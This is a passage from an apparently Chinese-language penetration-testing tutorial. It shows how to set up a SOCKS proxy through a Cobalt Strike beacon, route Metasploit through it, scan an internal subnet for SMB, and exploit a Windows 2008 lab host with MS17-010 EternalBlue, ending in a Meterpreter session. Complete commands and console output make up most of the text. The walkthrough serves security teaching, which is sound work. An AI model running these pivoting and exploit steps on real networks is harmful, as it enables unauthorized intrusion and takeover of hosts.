* 在当前 beacon 上可以右击选择 `Pivoting --> SOCKS Server` 设置一个 Socks4a 代理服务
* 或者使用命令 `socks [port]` 进行设置
* 使用命令 `socks stop` 关闭 Socks 代理服务
* 在 `View --> Proxy Pivots` 中可以看到已经创建的代理服务

### 0x03 Metasploit 连接到 Socks 代理服务

* CS 中创建好代理后，在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信

```
setg Proxies socks4:127.0.0.1:[port]
setg ReverseAllowProxy true
```

如果感觉上面命令比较长，还可以在 `Proxy Pivots` 界面中点击 `Tunnel` 按钮查看命令。

* 运行以下命令来停止

```
unsetg Proxies
```

setg 命令和 unsetg 表示在 metasploit 中全局有效，不用在每次选择模块后再重新设置。

### 0x04 演示

#### 1、环境说明

> 攻击机 IP：192.168.175.200
>
> 上线主机：外部IP 192.168.175.130、内部IP 192.168.232.133
>
> 攻击目标：192.168.232.0/24 地址段

当前已经上线了一个 IP 为 192.168.175.130 主机，通过 ipconfig 发现，该主机也在 192.168.232.0/24 地址段内。

但当前攻击机无法访问 232 的地址段，因此如果想对 232 段内的主机发起攻击，就可以采用将 192.168.175.130 作为跳板机访问的方式。

#### 2、设置 socks 代理

开启交互模式

```
sleep 0
```

```
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
```

开启 socks 代理none

```
socks 9527
```

```
beacon> socks 9527
[+] started SOCKS4a server on: 9527
[+] host called home, sent: 16 bytes
```

以上操作也可以通过图形化的方式进行。

#### 3、Metasploit 中进行设置

开启 Metasploit 后，运行 setg 命令

```
setg Proxies socks4:192.168.175.200:9527
```

powershell

```
msf5 > setg Proxies socks4:192.168.175.200:9527
Proxies => socks4:192.168.175.200:9527
```

#### 4、扫描 192.168.232.0/24 地址段中的 445 端口

这里作为演示，只扫描一下 445 端口

```
use auxiliary/scanner/smb/smb_version
set rhost 192.168.232.0/24
set threads 64
exploit
```

```
msf5 > use auxiliary/scanner/smb/smb_version 

msf5 auxiliary(scanner/smb/smb_version) > set rhost 192.168.232.0/24 
rhost => 192.168.232.0/24

msf5 auxiliary(scanner/smb/smb_version) > set threads 64
threads => 64

msf5 auxiliary(scanner/smb/smb_version) > exploit 
use auxiliary/scanner/smb/smb_version
[*] 192.168.232.0/24:445  - Scanned  44 of 256 hosts (17% complete)
[*] 192.168.232.0/24:445  - Scanned  64 of 256 hosts (25% complete)
[*] 192.168.232.0/24:445  - Scanned 110 of 256 hosts (42% complete)
[*] 192.168.232.0/24:445  - Scanned 111 of 256 hosts (43% complete)
[*] 192.168.232.0/24:445  - Scanned 128 of 256 hosts (50% complete)
[+] 192.168.232.133:445   - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WINTEST) (domain:TEAMSSIX) (signatures:optional)
[+] 192.168.232.132:445   - Host is running Windows 2008 HPC SP1 (build:7601) (name:WINDC) (domain:TEAMSSIX) (signatures:required)
[*] 192.168.232.0/24:445  - Scanned 165 of 256 hosts (64% complete)
[*] 192.168.232.0/24:445  - Scanned 184 of 256 hosts (71% complete)
[*] 192.168.232.0/24:445  - Scanned 220 of 256 hosts (85% complete)
[*] 192.168.232.0/24:445  - Scanned 249 of 256 hosts (97% complete)
[*] 192.168.232.0/24:445  - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

#### 5、发现利用

通过扫描发现在 192.168.232.0/24 地址段内，除了已经上线的 `133` 主机外，还有 `132` 主机也开放了 445 端口，且该主机为 Windows 2008 的操作系统，这里使用永恒之蓝作为演示。

```
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.232.132
set payload windows/x64/meterpreter/bind_tcp
exploit
```

```
msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.232.132
rhosts => 192.168.232.132

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit 
[*] 192.168.232.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.232.132:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 HPC Edition 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.232.132:445   - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.232.132:445 - Connecting to target for exploitation.
[+] 192.168.232.132:445 - Connection established for exploitation.
[+] 192.168.232.132:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.232.132:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.232.132:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.232.132:445 - 0x00000010  30 30 38 20 48 50 43 20 45 64 69 74 69 6f 6e 20  008 HPC Edition 
[*] 192.168.232.132:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 192.168.232.132:445 - 0x00000030  6b 20 31                                         k 1             
[+] 192.168.232.132:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.232.132:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.232.132:445 - Sending all but last fragment of exploit packet
[*] 192.168.232.132:445 - Starting non-paged pool grooming
[+] 192.168.232.132:445 - Sending SMBv2 buffers
[+] 192.168.232.132:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.232.132:445 - Sending final SMBv2 buffers.
[*] 192.168.232.132:445 - Sending last fragment of exploit packet!
[*] 192.168.232.132:445 - Receiving response from exploit packet
[+] 192.168.232.132:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.232.132:445 - Sending egg to corrupted connection.
[*] 192.168.232.132:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.232.132:4444
[*] Sending stage (201283 bytes) to 192.168.232.132
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.175.200:9527) at 2020-09-01 22:13:57 -0400
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > ipconfig
Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:d3:6c:3d
MTU          : 1500
IPv4 Address : 192.168.232.132
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a1ac:3035:cbdf:4872
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

<br>
